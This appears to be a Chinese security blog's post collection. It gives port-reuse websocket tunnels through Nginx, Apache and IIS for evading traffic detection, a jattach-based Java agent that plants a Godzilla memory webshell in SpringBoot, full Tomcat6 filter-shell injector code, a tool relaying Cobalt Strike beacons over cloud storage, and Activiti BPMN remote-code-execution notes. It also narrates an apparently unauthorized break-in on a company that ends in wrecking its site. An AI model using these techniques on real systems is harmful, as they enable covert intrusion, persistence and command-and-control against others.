不同中间件端口复用代理解决方案

前言

frp反弹确实很爽,但是很多时候这B服务器不出网,或者说动不动就被流量设备检测到了

linux下可以使用iptables做端口复用,windows下就没啥办法了。

除非你花一大笔钱找微软买个签名把驱动给签了然后做端口复用,这个土豪的方法我们先不提。

还有一个方法就是使用Neo这种类型的,挺好用的,但是有没有更快一点的方案?

比如。。。websocket?直接长连接?直接做到原生tcp的运行效率?

二话不说,开干!

iptables 端口复用

这里就随口提一下iptables端口复用

如果我们直接请求目标服务器的任意端口,只要能在netstat -anpt里面看到我们的请求IP,我们就能根据这个IP用iptables做一个端口转发

iptables -t nat -A PREROUTING -p tcp -s 我们的IP --dport 目标WEB端口 -j REDIRECT --to-port 转发端口

GOST

原本想动手写的,但是想了想还是不能乱造轮子,于是乎github稍微搜索了一番,愉快的找到了这个工具

项目地址:GOST

我们目标也很简单,就是听个websocket的代理,然后使用各种中间件中转,最后用本地代理,设置级联就行

项目里的功能正好符合我们的需要,我们只需要在远程服务器上,运行

gost  -L ws://:7000

然后在中间件各种配置,最后在我们本地使用

gost -L=:8080 -F=ws://远程web地址:远程web端口

就可以使用web端口复用走Web的,长连接的,websocket的代理了

Nginx中间件配置

nginx的配置挺简单的,一个端口转发就行

location /ws {
        proxy_redirect off;
        proxy_pass http://ws监听ip:本地ws监听代理;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_set_header Host $http_host;
        proxy_read_timeout 300s;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

Nginx有个好,就是有热重载功能,直接一句nginx -s reload就行,至少不怕炸原本的业务

Apache

Apache修改的就有点多了, 得给配置文件添加模块引用。然而唯一有点安慰的就是,这玩意的模块是自带的。

先引用模块,有两个方案,直接用命令

sudo a2enmod proxy proxy_http proxy_ajp proxy_balancer mod_proxy_wstunnel.so

或者直接在你的conf里面添加,把上面这些模块都加进去

LoadModule proxy_module /usr/lib/apache2/modules/mod_proxy.so # 填写apache模块的绝对路径
....

然后写入代码

ProxyPass /ws ws://127.0.0.1:7000/ws

最后再service apache2 reload就行

IIS

windows就不大一样了,可以图形化点点点,也能命令行,啊,但是命令行操作我不会.jpg

应该可以用powershell解决,但是windows上其实非常滴麻烦,因为要手动安装两个模块,并不自带

所以推荐还是Neo或者IIS插件后门,除非你觉得管理员水平实在太差。

首先是启用Websocket,打开控制面板,启用或删除windows功能
1.jpg
选上Websocket
2.jpg

接下来就是安装ARR和URL REWRITE
安装ARR:application-request-routing
安装URL REWRITE:url-rewrite

然后配置ARR
3.jpg
4.jpg
5.jpg
点击启用就行

然后配置一个URL转发,找到你的项目吃,点击URL重写
6.jpg

咱们也不需要什么通配符,直接完全匹配GOST的ws就行
7.jpg

其他中间件

原理基本就是配一个websocket转发,大差不差

进阶

上面的ws全部应该都可以改成MWS,我看gost是支持多路复用的,虽然不知道实际提升有多大,但是听起来很牛逼,那就当它很牛逼就好了

还有一个就是ws的通讯协议没加密,可以考虑升级WSS,但是WSS配置又会遇到很多很麻烦的东西。最典型的就是证书啊证书啊证书啊。

还有一个就是gost的ws默认监听路由也得改一改,流量特征太大了。这些后续都要自己处理一下,避免实战中被发现。

Tags: 反代, iis, websocket

SprintBoot获取Context的一些方法&&agent外部注入哥斯拉内存马

前言

内存马高级,文明,实体马粗鄙,弟弟。

所以感觉现在能打内存马基本都是直接打内存马了,但是有时候,我们拿下springboot,是通过一些其他方式拿下的,并不是通过web的代码执行。

这时候,我们想做一个后门,常规正向后门又因为目标大多是内网环境访问不到,反弹后门流量又太大,而且这些后门可能还会留下实体文件,端口复用又需要root,而且有概率打炸。灵车率十分的高,所以我们最好的目光就是再springboot打一个内存马,文件不落地,正向连接隐蔽性高。

所以打内存马的目标十分简单,归根结底就是在进程中执行我们的jvav代码,然后打上注册上路由绑定上内存马。

打内存马的方案

如何在进程中执行任意代码?最简单的办法就是注入,然后java是虚拟机,它十分贴心的提供了一套native接口供我们调用,推荐一个工具:jattach

用这玩意大概原理可以直接注入进内存,很贴心的帮我们调用了java native api,然后打入我们的agent。

使用方式就直接jattach.exe pid load instrument false 'agent路径'

那么我们第一个目标就是制作一个agent

制作agent

agent我们主要就是当成一个有特殊入口点的DLL就行,agent主要在于premain,agentmain等这些函数,这些函数网络上介绍的已经很详细了,我们这里就不再赘述,我们直接看向agentmain,这个作用主要是虚拟机加载完之后会调用这个函数。

同时,我们修改MANIFSET.MF文件,添加一个Agent-Class 指向我们的入口点类

完整模板如下

//META-INF/MANIFSET.MF
Manifest-Version: 1.0
Created-By: 18.0.1 (Oracle Corporation)
Premain-Class: com.bie.agent
Agent-Class: com.bie.agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
package com.bie
public class agent {
    public static void agentmain(String agentOps, Instrumentation inst) throws UnmodifiableClassException, IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
    }
}

接下来,我们再其中添加代码执行的函数,一般运行内存马的时候,是直接使用Thread.currentThread().getContextClassLoader(),来加载我们的class,在web中可以使用,但是在这里不行

因为在web中运行时,我们当前的Thread已经包含了所需要的上下文已经环境变量,所以接下来打入内存马时候才能把我们的内存马添加到路由管理里,一般这个线程名字在tomcat和springboot中是叫做xxx-EXEC-一个数字,但是此时我们是注入进去的,线程中并不包含这些信息,所以我们就得另辟蹊径。

既然这个线程没有,那么我们直接枚举过去不就行了?反正java中try这个东西实在是好用,能成就能成,不能成用try兜住反正也不会炸。

于是乎,我们的代码就可以这样写

Method m = Thread.class.getDeclaredMethod("getThreads");
        
        m.setAccessible(true);
        Thread[] threads = (Thread[])((Thread[])m.invoke((Object)null));

        for(int i = 0;i<threads.length;i++){
            try {

                byte[] var2 = (new BASE64Decoder()).decodeBuffer("你的内存马base64");

                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
                defineClass.setAccessible(true);


                Class Evil = (Class) defineClass.invoke(threads[i].getContextClassLoader(), "EvilGodlliza", var2, 0, var2.length);
                Constructor constructor = Evil.getDeclaredConstructor( int.class);//这里要设置和析构函数的参数一样,我们Eval里只有一个int所以就设置成int
                constructor.setAccessible(true);
                constructor.newInstance(111);

            } catch (Exception var4) {

                var4.printStackTrace(ps);


            }
        }

直接通过循环所有线程,暴力加载,反正只要在内存里,总有一个是可以成的

内存马部分

总而言之言而总之,就是内存马,详细可以参考我之前写的SpringBoot 内存马 && SPEL注入内存马

不同的就是想办法把哥斯拉扣出来,不过这种基本都是小菜一桩,把jsp的request和response和session换成springboot的就完事了,我们主要是要处理Context获取,不同版本获取Context的方法都各不相同。于是乎我总结了一些直接获取Context的方法

                org.springframework.web.context.WebApplicationContext context = null;

                try{
                    java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
                    filed.setAccessible(true);
                    context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
                }catch (Exception exx){
                    exx.printStackTrace(ps);
                }

                if (context == null){
                    try {
                        context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }

                if (context == null){
                    try {
                        context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }
                if (context == null){
                    try {
                        context = ContextLoader.getCurrentWebApplicationContext();
                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }

                if (context == null){
                    try {
                        context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }

直接套上就能用,然后就是规规矩矩的加路由

                RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
                Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
                field.setAccessible(true);
                java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(requestMappingHandlerMapping);
                EvilGodlliza vulInterceptor = new EvilGodlliza( 0);
                adaptedInterceptors.add(vulInterceptor);

                out.write("ojbk");
                out.close();

合起来大概就能用了

另外一个思路

其实再agent中,我们不只可以用这个方法,还有一个方法是通过jvm虚拟机api,直接修改native字节码,这个太晚了,明天再写,咕咕咕

Tags: java, 内存马

年末总结-2022印象最深的一件事

前言

没有前言,好久没写文章了,先说说最近干了什么吧,算是2022年印象最深的一件事了。

年末的时候,闲着无聊,想着随手日一个,这个企业有点难搞,毕竟有一个专门团队维护,人数还挺多。

然后就发生了以下事情

打点进入一套另外的系统,获取到部分账户信息。

成功登录本次目标->打不死

互联网开始找同源码站点->干死了

源码tmd加密了,sg11,500M文件解不开

开始搞开发商

申请试用系统,拿到一套有管理员站点的测试站
黑盒搞死开发商给的测试站,源码妹加密,不用打开发商了
开审,它们授权文件是个php,在web目录外,然后使用include加载的

审到一个反序列化,发现是nnnnnday
phpggc直接冲guhttpz,任意代码执行被修了,不让运行

但是guhttp的文件写入链还没修,成功任意文件写入
尝试写web目录失败,妹有权限

转换思路,挖个sql注入直接登录管理员用测试站的方法打死or找个任意文件读取读取到原本授权文件然后用任意文件写干死

开始试图挖任意文件读取

代码写得挺安全的,文件上传都过滤了

但是在填写类似周报的地方,他ajax,向upload.php请求数据,会返回json,里面有tmp的文件名
然后周报获取到的地方妹有过滤这个tmp文件名导致目录穿越

然后发布文章,上传的附件就会变成我们目录穿越的附件
利用目录穿越下载授权文件

然后就是等待一个好时机,使用任意文件写把带后门的授权文件用反序列化写上去,这套站就可以死啦

以上是测试poc的时候新路历程

然后,我把发布的文章删除了

然后,站就炸了

倒在黎明的前夕。

原因是写文章那里软连接了附件。。我修改到连接授权文件,然后我把周报一删,tmd它会把附件一起删了,然后授权文件也一起删了。

然后成功宣告,我挖供了半天,挖了一周半,并且还成功挖到洞的站。

被我自己给弄没了。啊啊啊啊啊啊

果然新冠会影响智商,以前我不信,现在我信了。

啊啊啊啊啊

总结

毕业了,成为打工仔。没了。

一年话比一年少。

2023目标:活着

Tags: 总结

oss-stinger/腾讯云OSS上线工具

前言

项目地址:9bie/oss-stinger

前有云函数,域前置,辣么现在当然也要整个oss上线辣。然而实际整出来,优势也没想象中的辣么大,可能唯一优点就是部署方便?

原理很简单,直接就是一个http中继,本地起一个http,然后把cs的上线地址设置为本地,然后另外一头,再服务器部署一个获取器,把oss上客户端发来的http请求下载回来,转发给cs服务器,然后拿到cs服务器的请求,再转发到oss上给客户端,然后客户端再转发给cs beacon,就完事了。

如何使用

.\oss-stinger.exe
  -address string
        监听地址或者目标地址,格式:127.0.0.1:8080
  -id string
        输入你的腾讯云SecretID
  -key string
        输入你的腾讯云SecretKey
  -mode string
        client/server 二选一
  -url string
        输入你腾讯云OSS桶的url地址

首先,现在cs生成一个http的listen,并把host都改成127.0.0.1,然后生成木马
1.jpg
然后再把Host改会公网IP(这步很重要)

然后去腾讯云,申请一个oss桶。拿到URL
2.jpg
然后再去 https://console.cloud.tencent.com/cam/capi 拿到SecretKey和SecretID。

然后就可以使用我们的工具了,先在客户机上起一个转发器,使用命令

oss-stinger.exe -mode client -url oss桶的url地址 -address 127.0.0.1:端口 -id 腾讯云SecretID -key 腾讯云SecretKey

然后服务器运行

oss-stinger.exe -mode server -url oss桶的url地址 -address 127.0.0.1:端口 -id 腾讯云SecretID -key 腾讯云SecretKey

然后在客户机双击你的木马,就能上线了
3.jpg

Tags: cs, 上线

Tomcat6 注入内存马

前言

和大哥们学新的姿势,感觉自己已经变成idea的性状了,这里的大哥说话又好听,我超喜欢这里的.jpg
以下是参考(抄袭)文章列表
怎么说呢,这几周玩了下java,大概也有点感觉了,打内存马就和win32寻址一样。

首先先解决在哪里打,也就是获取上下文standardContext,在栈上寻址找到这个地址,哦不对,在java中应该叫做对象。

然后再基于这个对象派生,找到管理filter的这些列表,正常程序流程访问网页肯定是先检查一个filter列表,看看是否匹配,匹配就丢给filter处理,然后filter处理完再往下丢给servlet/controller这些处理。我们要做的就是找到那个filter列表的地址,然后想办法把我们的内存马加进去

怎么加呢?那肯定就是得先找到注册函数,把我们内存马注册成一个filter,依旧是从栈上派生出来,还是一个寻址问题。总体感觉jvav大差不差,还是能理解的。

当然,理解是一回事,真的要我写一套完整项目,那就是另一回事了.jpg

注意点

线程加载问题

加载Filter Class的时候,不能用系统ClassLoader,得用当前线程的Loader,不然会报找不到org.servlet.Filter

Method defineClass = 
ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);defineClass.setAccessible(true);
byte[] code = {};
Class filter = (Class)defineClass.invoke(Thread.currentThread().getContextClassLoader(),code,0,code.length);
Object testFilter = filter.newInstance();

得用Thread.currentThread().getContextClassLoader(),不能用ClassLoader.getSystemClassLoader(),MD就被这个坑了一天。

同样还是线程加载问题

如果类似注入点的地方获取不到线程,或者是由其他线程创建的,比如如果在tomcat的Servlet中用ClassLoader.getSystemClassLoader()加载class(没错我就是这么干的),可以考虑用反射

Class<?> FilterDefClass = 
Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterDef");
Object filterDef = FilterDefClass.newInstance();

的方式强行加载,虽然没啥用。。但是之前被卡在线程那里太久了导致我把这些加载不到的都换成了

完整代码

运行流程,东抄抄西抄抄,先从利用shiro反序列化注入冰蝎内存马把Tomcat678抄出来,然后再从tomcat6、7、8、9内存马把注入流程抄出来,然后缝合一下,就好了

先把Filter代码打包成class

package com;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import javax.servlet.*;

public class testFilter implements Filter{
    public testFilter() {
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
        if (servletRequest.getParameter("cmd") != null){
            servletResponse.getWriter().write("Inject OK!");
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }
    @Override
    public void destroy() {
    }
}

然后编译注入器代码

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Properties;

public class TomcatMemShellInject {
    String uri;
    String serverName;
    Object standardContext;

    public static byte[] base64Decode(String str) throws Exception {
        Class clazz;
        try {
            clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception var3) {
            clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }

    private final static String filterName = "TomcatMemShellInject";

    public byte[] getContent(String filePath) throws IOException {
        File file = new File(filePath);
        long fileSize = file.length();
        if (fileSize > Integer.MAX_VALUE) {
            System.out.println("file too big...");
            return null;
        }
        FileInputStream fi = new FileInputStream(file);
        byte[] buffer = new byte[(int) fileSize];
        int offset = 0;
        int numRead = 0;
        while (offset < buffer.length
                && (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0) {
            offset += numRead;
        }
        // 确保所有数据均被读取
        if (offset != buffer.length) {
            throw new IOException("Could not completely read file "
                    + file.getName());
        }
        fi.close();
        return buffer;
    }

    public TomcatMemShellInject() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, ClassNotFoundException, IOException {
        Tomcat678();
        try {
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            String result = "yv66vgAAADIATAoADAAoCQApACoIABsKACsALAgALQsALgAvCwAwADEIADIKADMANAsANQA2BwA3BwA4BwA5AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL3Rlc3RGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAOgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAkdGVzdEZpbHRlci5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAOAA8HADwMAD0APgcAPwwAQABBAQADY21kBwBCDABDAEQHAEUMAEYARwEACkluamVjdCBPSyEHAEgMAEkAQQcASgwAGwBLAQAOY29tL3Rlc3RGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWACEACwAMAAEADQAAAAQAAQAOAA8AAQAQAAAAMwABAAEAAAAFKrcAAbEAAAACABEAAAAKAAIAAAAJAAQACgASAAAADAABAAAABQATABQAAAABABUAFgACABAAAAA1AAAAAgAAAAGxAAAAAgARAAAABgABAAAADwASAAAAFgACAAAAAQATABQAAAAAAAEAFwAYAAEAGQAAAAQAAQAaAAEAGwAcAAIAEAAAAI0AAwAEAAAAKLIAAhIDtgAEKxIFuQAGAgDGAA8suQAHAQASCLYACbEtKyy5AAoDALEAAAADABEAAAAaAAYAAAATAAgAFAATABUAHgAWAB8AGAAnABkAEgAAACoABAAAACgAEwAUAAAAAAAoAB0AHgABAAAAKAAfACAAAgAAACgAIQAiAAMAIwAAAAMAAR8AGQAAAAYAAgAaACQAAQAlAA8AAQAQAAAAKwAAAAEAAAABsQAAAAIAEQAAAAYAAQAAABwAEgAAAAwAAQAAAAEAEwAUAAAAAQAmAAAAAgAn";
            byte[] code = base64Decode(result);
            ;
            Class filter = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), code, 0, code.length);
            Object testFilter = filter.newInstance();
            Class<?> FilterDefClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterDef");
            Object filterDef = FilterDefClass.newInstance();
            FilterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, filterName);
            Method addFilterDef = standardContext.getClass().getMethod("addFilterDef", FilterDefClass);
            addFilterDef.invoke(standardContext, filterDef);
            filterDef.getClass().getMethod("setFilterClass", String.class).invoke(filterDef, testFilter.getClass().getName());
            Class<?> FilterMapClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterMap");
            Object filterMap = FilterMapClass.getConstructor(new Class[]{}).newInstance();
            String setFilterName = (String) FilterDefClass.getMethod("getFilterName").invoke(filterDef);
            FilterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, setFilterName);
            FilterMapClass.getMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST");
            FilterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*");
            Method addFilterMap = standardContext.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);
            addFilterMap.invoke(standardContext, filterMap);
            Object tmpFilterDef = FilterDefClass.newInstance();
            FilterDefClass.getMethod("setFilterClass", String.class).invoke(tmpFilterDef, "org.apache.catalina.ssi.SSIFilter");
            FilterDefClass.getMethod("setFilterName", String.class).invoke(tmpFilterDef, filterName);
            Class<?> ContextClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Context");
            Class<?> applicationFilterConfigClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.core.ApplicationFilterConfig");
            Constructor<?> applicationFilterConfigConstructor = applicationFilterConfigClass.getDeclaredConstructor(ContextClass, FilterDefClass);
            applicationFilterConfigConstructor.setAccessible(true);
            Properties properties = new Properties();
            properties.put("org.apache.catalina.ssi.SSIFilter", "123");
            Field restrictedFiltersField = applicationFilterConfigClass.getDeclaredField("restrictedFilters");
            restrictedFiltersField.setAccessible(true);
            restrictedFiltersField.set(null, properties);
            Object filterConfig = applicationFilterConfigConstructor.newInstance(standardContext, tmpFilterDef);
            Field filterField = filterConfig.getClass().getDeclaredField("filter");
            filterField.setAccessible(true);
            filterField.set(filterConfig, testFilter);
            Field filterDefField = filterConfig.getClass().getDeclaredField("filterDef");
            filterDefField.setAccessible(true);
            filterDefField.set(filterConfig, filterDef);
            Class<?> StandardContextClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.core.StandardContext");
            Field filterConfigsField = StandardContextClass.getDeclaredField("filterConfigs");
            filterConfigsField.setAccessible(true);
            HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext);
            filterConfigs.put(filterName, filterConfig);
            filterConfigsField.set(standardContext, filterConfigs);
            System.out.println("Inject OK");
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    public Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (Exception e) {
                // field不存在,错误不抛出,测试时可以抛出
            }
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public void getStandardContext() {
        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {
            if (thread == null) {
                continue;
            }
            // 过滤掉不相关的线程
            if (!thread.getName().contains("StandardEngine")) {
                continue;
            }

            Object target = this.getField(thread, "target");
            if (target == null) {
                continue;
            }
            HashMap children;

            try {
                children = (HashMap) getField(getField(target, "this$0"), "children");
                //org.apache.catalina.core.StandardHost standardHost = (org.apache.catalina.core.StandardHost) children.get(this.serverName);
                children = (HashMap) getField(children.get(this.serverName), "children");
                Iterator iterator = children.keySet().iterator();
                while (iterator.hasNext()) {
                    String contextKey = (String) iterator.next();
                    if (!(this.uri.startsWith(contextKey))) {
                        continue;
                    }
                    // /spring_mvc/home/index startsWith /spring_mvc
                    //StandardContext standardContext =  children.get(contextKey);
                    System.out.println(children.get(contextKey).getClass().getName());
                    this.standardContext = children.get(contextKey);

                    System.out.println("here");
                    // 添加内存马
                    return;
                }
            } catch (Exception e) {
                continue;
            }
            if (children == null) {
                continue;
            }
        }
    }

    public void Tomcat678() {


        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {

            if (thread == null) {
                continue;
            }
            if (thread.getName().contains("exec")) {
                continue;
            }
            Object target = this.getField(thread, "target");
            if (!(target instanceof Runnable)) {
                continue;
            }

            try {
                object = getField(getField(getField(target, "this$0"), "handler"), "global");
            } catch (Exception e) {
                continue;
            }
            if (object == null) {
                continue;
            }
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();

                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) {
                    continue;
                }
                // 不是对应的请求时,serverPort = -1
                System.out.println(getField(req, "serverNameMB").getClass().getName());
                //org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                this.serverName = (String) getField(getField(req, "serverNameMB"), "strValue");
                if (this.serverName == null) {
                    this.serverName = getField(req, "serverNameMB").toString();
                }
//                if (this.serverName == null){
//                    this.serverName = serverNameMB.getString();
//                }

                //org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "decodedUriMB");
                this.uri = (String) getField(getField(req, "decodedUriMB"), "strValue");
                if (this.uri == null) {
                    this.uri = getField(req, "decodedUriMB").toString();
                }
//                if (this.uri == null){
//                    this.uri = uriMB.getString();
//                }

                this.getStandardContext();
                return;
            }
        }
    }
}
Tags: java, 内存马, tomcat

Activiti/Workflow/bpmn 引擎代码执行问题

前言

正好实战遇到几次了,发出来记录一下
直接先上参考文献:Activiti BPMN流程引擎使用不当导致的相关RCE问题

代码也直接参考这个就行。

一般我们只需要留意后台中是否有关键字,比如流程图。workflow之类的,或者查看返回包中的json

比如:
1.jpg
再比如:
2.jpg
我们只要确定我们能修改模型和部署模型的权限就成。

或者留意前端请求,长得像这样
3.jpg
落实到前端就是长得像这样:
4.png
只要这套站是java,并且我们有权限修改模型。

一般模型形式都是长得像这样

{
    "resourceId": "eb39ae1e2dd14910a165323fdcfd807e",
    "properties": {
        "process_id": "test",
        "name": "rwar",
        "documentation": "",
        "process_author": "",
        "process_version": "2",
        "process_namespace": "archive_od",
        "executionlisteners": [],
        .....
}

或者是 在前端直接传输bpmn
4.jpg

这种的我们都能直接打。xml的话可以直接传xml,json的话可以用以下代码,转换为json

byte[] b = "bpmn xml bytes";
InputStream bpmnStream = new ByteArrayInputStream(b);// 获取bpmn2.0规范的xml
XMLInputFactory xif = XMLInputFactory.newInstance();
InputStreamReader in = new InputStreamReader(bpmnStream, "UTF-8");
XMLStreamReader xtr = xif.createXMLStreamReader(in);
// 然后转为bpmnModel
BpmnModel bpmnModel = new BpmnXMLConverter().convertToBpmnModel(xtr);
// bpmnModel转json
BpmnJsonConverter converter = new BpmnJsonConverter();
com.fasterxml.jackson.databind.node.ObjectNode editorJsonNode = converter.convertToJson(bpmnModel);
System.out.println(editorJsonNode);

然后就可以调用class或者是EL代码直接执行了

后端审计

如果我们拿到的是一套代码如何快速发现利用点呢?

我们只需要三个条件

  • 注入模型可控
  • 能获取到启动条件
  • 启动条件可控

三个却一不可,少一个都跑不起来,落实到代码就是,this.repositoryService.saveModel的参数是否可控,能否获取到processDefinitionId的值,或者不用这个值,取决于代码运行时候要求的内容,还有就是最后的this.runtimeService能否运行我们的模型

对于Activiti BPMN流程引擎使用不当导致的相关RCE问题中给了个例子。

runtimeService.startProcessInstanceByKey("hireProcessWithJpa", vars);

其中的hireProcessWithJpakey就是对应的bpmn的key,但是实际情况可能并不会使用startProcessInstanceByKey。
一个比较经典的情况就是

ProcessInstanceBuilder processInstanceBuilder = this.runtimeService.createProcessInstanceBuilder();
if (processDefinitionId != null) {
processInstanceBuilder.processDefinitionId(processDefinitionId);
}
if (startVariables != null) {
processInstanceBuilder.variables(startVariables);
}
ProcessInstance instance = processInstanceBuilder.start();

这段代码就是根据processDefinitionId来启动流程,所以对于不通的代码我们要落实不同的方法,但是一般只要盯着this.runtimeService看就行

然后下次遇到这些,就能愉快的日下来辣

Tags: rce, activiti, workflow, bpmn
文章总数:200篇 分类总数:4个